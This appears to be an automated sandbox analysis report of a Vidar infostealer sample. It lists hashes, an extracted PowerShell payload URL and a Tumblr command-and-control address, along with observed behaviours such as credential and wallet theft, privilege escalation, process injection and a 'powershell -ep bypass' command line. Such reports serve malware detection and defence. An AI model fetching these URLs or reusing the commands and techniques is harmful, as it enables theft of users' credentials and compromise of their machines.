Analysis
-
max time kernel
136s -
max time network
143s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
09-07-2021 18:27
Static task
static1
Behavioral task
behavioral1
Sample
faef9c278a4e0ad4686985084bea37e9.exe
Resource
win7v20210410
General
-
Target
faef9c278a4e0ad4686985084bea37e9.exe
-
Size
657KB
-
MD5
faef9c278a4e0ad4686985084bea37e9
-
SHA1
c458d3a9503d9e43bda33176d0062741f9810747
-
SHA256
10d971c860d4f8ad93b86f47fbc0cd285897769dd60bb68dea4377bb6e7d6f1f
-
SHA512
951be756138fb6aeeb5e77a5b3f9280d2945ffb25527cb1732fb5dc927bbe6dbf3b4ccf94ce468c83d15c3d590d49286bdb12fb86d7350f8812fbf49978cdeea
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
vidar
39.4
313
https://sergeevih43.tumblr.com/
-
profile_id
313
Signatures
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Vidar Stealer 3 IoCs
resource yara_rule behavioral2/memory/784-128-0x0000000000400000-0x00000000004A1000-memory.dmp family_vidar behavioral2/memory/784-129-0x000000000046B76D-mapping.dmp family_vidar behavioral2/memory/784-130-0x0000000000400000-0x00000000004A1000-memory.dmp family_vidar -
Blocklisted process makes network request 9 IoCs
flow pid Process 27 2412 powershell.exe 29 2412 powershell.exe 30 2412 powershell.exe 32 2412 powershell.exe 34 2412 powershell.exe 36 2412 powershell.exe 38 2412 powershell.exe 40 2412 powershell.exe 42 2412 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
pid Process 3068 9QPHKW40BN0M4KO4.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x0003000000000691-378.dat upx behavioral2/files/0x0003000000000693-379.dat upx -
Loads dropped DLL 4 IoCs
pid Process 784 faef9c278a4e0ad4686985084bea37e9.exe 784 faef9c278a4e0ad4686985084bea37e9.exe 1700 Process not Found 1700 Process not Found -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 628 set thread context of 784 628 faef9c278a4e0ad4686985084bea37e9.exe 78 -
Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe -
Drops file in Windows directory 19 IoCs
description ioc Process File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI86D0.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI87BE.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_fam1vu1e.upx.psm1 powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI873E.tmp powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI875E.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_4h253gv5.ujx.ps1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI87AD.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 faef9c278a4e0ad4686985084bea37e9.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString faef9c278a4e0ad4686985084bea37e9.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 1560 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 3500 taskkill.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0 powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 620 reg.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 faef9c278a4e0ad4686985084bea37e9.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e faef9c278a4e0ad4686985084bea37e9.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\ProgramData\9QPHKW40BN0M4KO4.exe:Zone.Identifier faef9c278a4e0ad4686985084bea37e9.exe File opened for modification C:\ProgramData\9QPHKW40BN0M4KO4.exe:Zone.Identifier faef9c278a4e0ad4686985084bea37e9.exe -
Runs net.exe
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 29 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 30 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 32 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 34 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 628 faef9c278a4e0ad4686985084bea37e9.exe 628 faef9c278a4e0ad4686985084bea37e9.exe 784 faef9c278a4e0ad4686985084bea37e9.exe 784 faef9c278a4e0ad4686985084bea37e9.exe 784 faef9c278a4e0ad4686985084bea37e9.exe 784 faef9c278a4e0ad4686985084bea37e9.exe 784 faef9c278a4e0ad4686985084bea37e9.exe 784 faef9c278a4e0ad4686985084bea37e9.exe 784 faef9c278a4e0ad4686985084bea37e9.exe 784 faef9c278a4e0ad4686985084bea37e9.exe 1248 powershell.exe 1248 powershell.exe 1248 powershell.exe 1700 powershell.exe 1700 powershell.exe 1700 powershell.exe 4056 powershell.exe 4056 powershell.exe 4056 powershell.exe 2512 powershell.exe 2512 powershell.exe 2512 powershell.exe 1248 powershell.exe 1248 powershell.exe 1248 powershell.exe 2412 powershell.exe 2412 powershell.exe 2412 powershell.exe -
Suspicious behavior: LoadsDriver 2 IoCs
pid Process 604 Process not Found 604 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 628 faef9c278a4e0ad4686985084bea37e9.exe Token: SeDebugPrivilege 3500 taskkill.exe Token: SeDebugPrivilege 1248 powershell.exe Token: SeDebugPrivilege 1700 powershell.exe Token: SeIncreaseQuotaPrivilege 1700 powershell.exe Token: SeSecurityPrivilege 1700 powershell.exe Token: SeTakeOwnershipPrivilege 1700 powershell.exe Token: SeLoadDriverPrivilege 1700 powershell.exe Token: SeSystemProfilePrivilege 1700 powershell.exe Token: SeSystemtimePrivilege 1700 powershell.exe Token: SeProfSingleProcessPrivilege 1700 powershell.exe Token: SeIncBasePriorityPrivilege 1700 powershell.exe Token: SeCreatePagefilePrivilege 1700 powershell.exe Token: SeBackupPrivilege 1700 powershell.exe Token: SeRestorePrivilege 1700 powershell.exe Token: SeShutdownPrivilege 1700 powershell.exe Token: SeDebugPrivilege 1700 powershell.exe Token: SeSystemEnvironmentPrivilege 1700 powershell.exe Token: SeRemoteShutdownPrivilege 1700 powershell.exe Token: SeUndockPrivilege 1700 powershell.exe Token: SeManageVolumePrivilege 1700 powershell.exe Token: 33 1700 powershell.exe Token: 34 1700 powershell.exe Token: 35 1700 powershell.exe Token: 36 1700 powershell.exe Token: SeDebugPrivilege 4056 powershell.exe Token: SeIncreaseQuotaPrivilege 4056 powershell.exe Token: SeSecurityPrivilege 4056 powershell.exe Token: SeTakeOwnershipPrivilege 4056 powershell.exe Token: SeLoadDriverPrivilege 4056 powershell.exe Token: SeSystemProfilePrivilege 4056 powershell.exe Token: SeSystemtimePrivilege 4056 powershell.exe Token: SeProfSingleProcessPrivilege 4056 powershell.exe Token: SeIncBasePriorityPrivilege 4056 powershell.exe Token: SeCreatePagefilePrivilege 4056 powershell.exe Token: SeBackupPrivilege 4056 powershell.exe Token: SeRestorePrivilege 4056 powershell.exe Token: SeShutdownPrivilege 4056 powershell.exe Token: SeDebugPrivilege 4056 powershell.exe Token: SeSystemEnvironmentPrivilege 4056 powershell.exe Token: SeRemoteShutdownPrivilege 4056 powershell.exe Token: SeUndockPrivilege 4056 powershell.exe Token: SeManageVolumePrivilege 4056 powershell.exe Token: 33 4056 powershell.exe Token: 34 4056 powershell.exe Token: 35 4056 powershell.exe Token: 36 4056 powershell.exe Token: SeDebugPrivilege 2512 powershell.exe Token: SeIncreaseQuotaPrivilege 2512 powershell.exe Token: SeSecurityPrivilege 2512 powershell.exe Token: SeTakeOwnershipPrivilege 2512 powershell.exe Token: SeLoadDriverPrivilege 2512 powershell.exe Token: SeSystemProfilePrivilege 2512 powershell.exe Token: SeSystemtimePrivilege 2512 powershell.exe Token: SeProfSingleProcessPrivilege 2512 powershell.exe Token: SeIncBasePriorityPrivilege 2512 powershell.exe Token: SeCreatePagefilePrivilege 2512 powershell.exe Token: SeBackupPrivilege 2512 powershell.exe Token: SeRestorePrivilege 2512 powershell.exe Token: SeShutdownPrivilege 2512 powershell.exe Token: SeDebugPrivilege 2512 powershell.exe Token: SeSystemEnvironmentPrivilege 2512 powershell.exe Token: SeRemoteShutdownPrivilege 2512 powershell.exe Token: SeUndockPrivilege 2512 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 628 wrote to memory of 784 628 faef9c278a4e0ad4686985084bea37e9.exe 78 PID 628 wrote to memory of 784 628 faef9c278a4e0ad4686985084bea37e9.exe 78 PID 628 wrote to memory of 784 628 faef9c278a4e0ad4686985084bea37e9.exe 78 PID 628 wrote to memory of 784 628 faef9c278a4e0ad4686985084bea37e9.exe 78 PID 628 wrote to memory of 784 628 faef9c278a4e0ad4686985084bea37e9.exe 78 PID 628 wrote to memory of 784 628 faef9c278a4e0ad4686985084bea37e9.exe 78 PID 628 wrote to memory of 784 628 faef9c278a4e0ad4686985084bea37e9.exe 78 PID 628 wrote to memory of 784 628 faef9c278a4e0ad4686985084bea37e9.exe 78 PID 784 wrote to memory of 3068 784 faef9c278a4e0ad4686985084bea37e9.exe 79 PID 784 wrote to memory of 3068 784 faef9c278a4e0ad4686985084bea37e9.exe 79 PID 784 wrote to memory of 1888 784 faef9c278a4e0ad4686985084bea37e9.exe 80 PID 784 wrote to memory of 1888 784 faef9c278a4e0ad4686985084bea37e9.exe 80 PID 784 wrote to memory of 1888 784 faef9c278a4e0ad4686985084bea37e9.exe 80 PID 1888 wrote to memory of 3500 1888 cmd.exe 82 PID 1888 wrote to memory of 3500 1888 cmd.exe 82 PID 1888 wrote to memory of 3500 1888 cmd.exe 82 PID 1888 wrote to memory of 1560 1888 cmd.exe 84 PID 1888 wrote to memory of 1560 1888 cmd.exe 84 PID 1888 wrote to memory of 1560 1888 cmd.exe 84 PID 3068 wrote to memory of 1248 3068 9QPHKW40BN0M4KO4.exe 85 PID 3068 wrote to memory of 1248 3068 9QPHKW40BN0M4KO4.exe 85 PID 1248 wrote to memory of 1344 1248 powershell.exe 87 PID 1248 wrote to memory of 1344 1248 powershell.exe 87 PID 1344 wrote to memory of 4036 1344 csc.exe 88 PID 1344 wrote to memory of 4036 1344 csc.exe 88 PID 1248 wrote to memory of 1700 1248 powershell.exe 89 PID 1248 wrote to memory of 1700 1248 powershell.exe 89 PID 1248 wrote to memory of 4056 1248 powershell.exe 92 PID 1248 wrote to memory of 4056 1248 powershell.exe 92 PID 1248 wrote to memory of 2512 1248 powershell.exe 94 PID 1248 wrote to memory of 2512 1248 powershell.exe 94 PID 1248 wrote to memory of 4036 1248 powershell.exe 96 PID 1248 wrote to memory of 4036 1248 powershell.exe 96 PID 1248 wrote to memory of 620 1248 powershell.exe 97 PID 1248 wrote to memory of 620 1248 powershell.exe 97 PID 1248 wrote to memory of 3048 1248 powershell.exe 98 PID 1248 wrote to memory of 3048 1248 powershell.exe 98 PID 1248 wrote to memory of 1288 1248 powershell.exe 99 PID 1248 wrote to memory of 1288 1248 powershell.exe 99 PID 1288 wrote to memory of 3948 1288 net.exe 100 PID 1288 wrote to memory of 3948 1288 net.exe 100 PID 1248 wrote to memory of 2216 1248 powershell.exe 101 PID 1248 wrote to memory of 2216 1248 powershell.exe 101 PID 2216 wrote to memory of 2728 2216 cmd.exe 102 PID 2216 wrote to memory of 2728 2216 cmd.exe 102 PID 2728 wrote to memory of 2452 2728 cmd.exe 103 PID 2728 wrote to memory of 2452 2728 cmd.exe 103 PID 2452 wrote to memory of 3936 2452 net.exe 104 PID 2452 wrote to memory of 3936 2452 net.exe 104 PID 1248 wrote to memory of 3188 1248 powershell.exe 105 PID 1248 wrote to memory of 3188 1248 powershell.exe 105 PID 3188 wrote to memory of 740 3188 cmd.exe 106 PID 3188 wrote to memory of 740 3188 cmd.exe 106 PID 740 wrote to memory of 748 740 cmd.exe 107 PID 740 wrote to memory of 748 740 cmd.exe 107 PID 748 wrote to memory of 2960 748 net.exe 108 PID 748 wrote to memory of 2960 748 net.exe 108 PID 636 wrote to memory of 3928 636 cmd.exe 112 PID 636 wrote to memory of 3928 636 cmd.exe 112 PID 3928 wrote to memory of 3052 3928 net.exe 113 PID 3928 wrote to memory of 3052 3928 net.exe 113 PID 3564 wrote to memory of 3888 3564 cmd.exe 116 PID 3564 wrote to memory of 3888 3564 cmd.exe 116 PID 3888 wrote to memory of 2880 3888 net.exe 117
Processes
-
C:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exe"C:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exeC:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exe2⤵
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:784 -
C:\ProgramData\9QPHKW40BN0M4KO4.exe"C:\ProgramData\9QPHKW40BN0M4KO4.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'4⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\duhu4gq4\duhu4gq4.cmdline"5⤵
- Suspicious use of WriteProcessMemory
PID:1344 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES859.tmp" "c:\Users\Admin\AppData\Local\Temp\duhu4gq4\CSC1174368576B244959D83441443174DB.TMP"6⤵PID:4036
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
